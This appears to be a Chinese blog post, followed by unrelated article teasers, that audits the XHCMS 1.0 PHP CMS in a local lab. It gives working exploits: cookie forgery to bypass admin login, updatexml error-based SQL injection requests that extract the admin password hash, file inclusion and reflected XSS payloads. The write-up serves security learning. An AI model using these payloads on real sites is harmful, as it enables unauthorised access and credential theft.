熊海cms1.0代码审计

news2024/9/28 5:26:02

目录

一、环境搭建

二、代码审计

(1)后台存在登录绕过漏洞

(2)登录后台user处存在SQL注入 

(3)前(后)台文件包含漏洞

(4)后台SQL注入

1、admin/files/editcolumn

2、admin/files/editlink.php

3、admin/files/editsoft.php与admin/files/editwz.php

4、and '1'='1闭合构造SQL注入

(5)前台xss漏洞

1、/files/contact.php

2、/files/content.php


这个应该是比较简单的php代码审计了,适合新手

一、环境搭建

cms下载地址:

https://down.chinaz.com/soft/36930.htm

然后phpstudy环境搭建,php版本要小于7,之后要自己新建一个数据库

访问

http://localhost/xhcms1.0/install/index.php

二、代码审计

在cnvd里面看到有很多漏洞,一个个尝试吧

(1)后台存在登录绕过漏洞

提示我们可以通过伪造cookie绕过登录检测,代码位于inc\checklogin.php

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>

如果cookie里面的user为空就转到登录页面,那我们可以给user赋值来绕过

直接访问admin/页面 

直接进入到了网站后台。

(2)登录后台user处存在SQL注入 

代码位于admin\files\login.php 

<?php 
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('1');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
//echo $passwords;
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('2');history.back();</Script>";
exit;	
	}
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>

这里没有对user进行过滤,直接拼接到了SQL语句里面,所以我们可以构造一下报错注入

POST /xhcms1.0/admin/?r=login HTTP/1.1
Host: 192.168.10.128
Content-Length: 95
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128/xhcms1.0/admin/?r=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

user=admin'or updatexml(1,(select concat(0x7e,password) from manage),1)#&password=123&login=yes

可以在源码里发现后面有个md5加密,所以储存的密码应该是32位,不符合。

用mid打印出完整的

POST /xhcms1.0/admin/?r=login HTTP/1.1
Host: 192.168.10.128
Content-Length: 105
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128/xhcms1.0/admin/?r=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

user=admin'or updatexml(1,concat(0x7e,mid((select password from manage),2,33)),1)#&password=123&login=yes

md5解密

 

 可以得知admin密码为admin

(3)前(后)台文件包含漏洞

前台漏洞代码位于:index.php,后台漏洞代码位于:admin\index.php

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

get方式获取r,然后经过addslashes函数处理,之后判断,再然后拼接读取

如果php版本小于等于5.3.4可以使用%00截断实现任意文件读取,但如果高了就只能进行php文件读取

(4)后台SQL注入

1、admin/files/editcolumn

$id=$_GET['id'];
$type=$_GET['type'];

if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}

很明显的SQL注入漏洞

http://localhost/xhcms1.0/admin/index.php?r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

2、admin/files/editlink.php

$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$link = mysql_fetch_array($resul);

几乎一模一样

3、admin/files/editsoft.php与admin/files/editwz.php

也是一样的

4、and '1'='1闭合构造SQL注入

POST /xhcms1.0/admin/index.php?r=editcolumn&type=1&id=1 HTTP/1.1
Host: 192.168.10.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=admin
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

save=1&name=a' or updatexml(1,concat(0x7e,version()),1) and '1'='1&keywords=b&description=c&xs=d&px=e&content=f

还有很多类似的,像manageinfo.php里面也有

(5)前台xss漏洞

1、/files/contact.php

/index.php?r=contact&page=<script>alert(1)</script>
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}
}
<title><?php echo $navs['name']?> - <?php echo $pages.$info['name']?></title>

没有过滤直接拼接

2、/files/content.php

差不多的,id

"><script>alert(1)</script>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/150650.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

程序员简历上写这种项目,难怪面试当炮灰。。。

目录&#xff1a; 高级工程师必备&#xff1a;系统设计能力如何让你的项目更有技术含量 上篇文章 《我只是把握好了这3点&#xff0c;1个月后成功拿下大厂offer&#xff01;》我们聊了聊Java工程师在跳槽前的1个月&#xff0c;如何利用较短的时间从技术广度、技术深度、基础功…

实现一个二叉搜索树

目录 1、认识二叉搜索树 2、实现一个二叉搜索树 2.1 成员变量 2.2 insert 方法 2.3 search 方法 2.4 remove 方法(重点) 3、二叉搜索树总结 1、认识二叉搜索树 从字面上来看&#xff0c;它只比二叉树多了搜索两个字&#xff0c;我们回想一下&#xff0c;如果要是在二…

TP4056国产替代DP4056 1A 锂离子电池充电器芯片

DP4056是一款单节锂离子电池恒流/恒压线性充电器,采用底部带散热片的SOP8封装以及简单的外部应用电路&#xff0c;非常适合便携式设备应用,适合USB电源和适配器电源工作,内部采用防倒充电路&#xff0c;不需要外部隔离二极管。热反馈可对充电电流进行自动调节&#xff0c;以便在…

一篇文章了解 StarRocks

前言 本文隶属于专栏《大数据技术体系》&#xff0c;该专栏为笔者原创&#xff0c;引用请注明来源&#xff0c;不足和错误之处请在评论区帮忙指出&#xff0c;谢谢&#xff01; 本专栏目录结构和参考文献请见大数据技术体系 正文 StarRocks 是新一代极速全场景 MPP 数据库。St…

php宝塔搭建部署实战响应式园林景观设计公司网站系统源码

大家好啊&#xff0c;我是测评君&#xff0c;欢迎来到web测评。 本期给大家带来一套php开发的响应式园林景观设计公司网站系统源码&#xff0c;感兴趣的朋友可以自行下载学习。 技术架构 PHP7.2 nginx mysql5.7 JS CSS HTMLcnetos7以上 宝塔面板 文字搭建教程 下载源码…

12月更新2022亮点总结 | Java on Visual Studio Code

大家好&#xff0c;一年的时间过得很快&#xff0c;我们已经来到了2023年。回顾2022年&#xff0c;我们的产品也经历了很多的迭代&#xff0c;在此之中&#xff0c;我们有几个亮点想与大家分享&#xff01; 2022年的亮点 Spring Boot 插件的重大可视化体验升级 从今年年初开始…

基于springboot+mybatis+mysql+vue房屋租赁管理系统

基于springbootmybatismysqlvue房屋租赁管理系统一、系统介绍二、功能展示1.用户登陆2.管理员端主要功能2.房主角色端主要功能3.租客角色端主要功能三、其它系统一、系统介绍 功能说明&#xff1a; 普通用户角色&#xff1a; 寻找房源功能–提供了两种寻找房源的功能&#xff…

JS日期格式化——数字日期转中文日期(封装函数,dayjs时间格式化YYYY-MM-DD)

JS数字日期转中文日期往期相关文章场景复现封装函数&#xff08;数字日期转中文日期&#xff09;实际应用往期相关文章 文章内容文章链接JS数组对象——根据日期进行排序&#xff0c;按照时间进行升序或降序排序https://blog.csdn.net/XSL_HR/article/details/128579840?spm1…

10分钟完全理解golang context

当前go的各种源码中应该都可以看到context的使用&#xff0c;Context是golang 1.7的引入的核心结构&#xff0c;本质是为了处理go的并发控制问题。本文主要带大家深入理解context如何使用&#xff0c;为什么需要context和context设计原理。 并发控制问题 先来看下并发控制到底…

Unity 3D 使用高度图创建地形|| Unity 3D 使用笔刷绘制地形

Unity 3D 使用高度图创建地形 在 Unity 3D 中编辑地形有两种方法&#xff1a; 通过地形编辑器编辑地形。通过导入一幅预先渲染好的灰度图来快速地为地形建模。 地形上每个点的高度被表示为一个矩阵中的一列值。这个矩阵可以用一个被称为高度图&#xff08;heightmap&#xff0…

Win11关闭Windows Defender实时保护,暂时关闭和永久关闭方法 | Win10怎么永久关闭Windows Defender实时保护

文章目录1. 按2. 暂时关闭Windows Defender实时保护3. 永久关闭实时保护3.1. 方法一&#xff1a;改组策略&#xff08;Windows11实测可以&#xff09;3.2. 方法二&#xff1a;改注册表&#xff08;Windows11实测不行&#xff09;1. 按 开启Windows Defender实时保护有时候会导…

HJ2 计算某字符出现次数

HJ2 计算某字符出现次数1 题目2 解法2.1 count_if 本题代码2.1.1 C STL非更易型算法--count_if介绍2.1.2 C中cin(),cin.get(),cin.getline(),getline()总结&#xff1a;2.2 一般做法3 【扩展】C STL--非更易型算法1 题目 题源链接 描述 写出一个程序&#xff0c;接受一个由字…

【HTTP】浏览器缓存(HTTP缓存)

文章目录一、强制缓存1.1、ExPires1.2、Cache-Control二、协商缓存2.1、last-modified2.2、etag浏览器缓存&#xff08;Browser Caching&#xff09;是为了节约网络的资源加速浏览&#xff0c;浏览器在用户磁盘上对最近请求过的文档进行存储&#xff0c;当访问者再次请求这个页…

在国内 PMP 有多少含金量?

PMP 证书已经在全球206个国家和地区得到认可&#xff0c;据 PMI 官方数据统计&#xff0c;截至2021&#xff0c;全球持有效 PMP 证书人数达110 W&#xff0c;国内占比28.98%&#xff0c;超33 W人次。 第一&#xff0c;PMP证书有什么价值&#xff1f; 01.PMP认证的重要性 PMP是…

Unreal UPROPERTY属性标记宏

BlueprintReadOnly,让该变量可在蓝图中访问。新建一个继承AActor的C类CustomActor,添加int变量TestProperty,并给他加上BlueprintReadOnly标记:这样,就能在蓝图中引用该变量。BlueprintReadWrite,让该变量可以在蓝图中使用以及修改。给TestProperty变量添加BlueprintReadWrite标…

【云原生进阶之容器】第二章Controller Manager原理2.7节--Indexer剖析

7 Indexer Indexer是client-go用来存储资源对象并自带索引功能的本地存储,Reflector从DeltaFIFO中将消费出来的资源对象存储至Indexer。Indexer中的数据与Etcd集群中的数据保持完全一致。client-go可以很方便地从本地存储中读取相应的资源对象数据,而无须每次都从远程Etcd集群…

复现yolov5CPP经验贴

源码&#xff1a; https://github.com/Hexmagic/ONNX-yolov5/blob/master/src/test.cpp 该源码亲测可行&#xff0c;但是还是有一些问题 此处改成False 此处改成自己转换好的onnx模型路径 用神经网络工具&#xff1a; https://github.com/lutzroeder/netron 用该工具可查看输入…

【UE4 第一人称射击游戏】24-添加人工智能的敌人跟随功能

上一篇&#xff1a;【UE4 第一人称射击游戏】23-添加子弹伤害本篇效果&#xff1a;步骤&#xff1a;将 导航网格体边界体积 拖入视口按P键显示区域将导航区域扩大一些如果不想让导航体覆盖上面的区域可以将导航体的高度降低一些打开“SimpleAI”&#xff0c;添加一个“Pawn感应…

Java Type

Type 是Java 编程语言中所有类型的公共高级接口&#xff08;官方解释&#xff09;&#xff0c;也就是Java 中所有类型的”爹“。其中”所有类型“的描述尤为指的关注。它并不是我们平常工作中经常使用的int、String、List、Map等数据类型&#xff0c;而是从Java语言角度磊说&am…

shell练习之安全脚本

题目&#xff1a; 将密码输入错误超过4次的IP地址通过firewalld防火墙阻止访问 1.初始配置 首先使用systemctl工具启用firewalld服务&#xff1a; ​[rootlocalhost ~]# systemctl enable firewalld如果已经启用了&#xff0c;我们现在可以通过执行以下命令启动firewalld&a…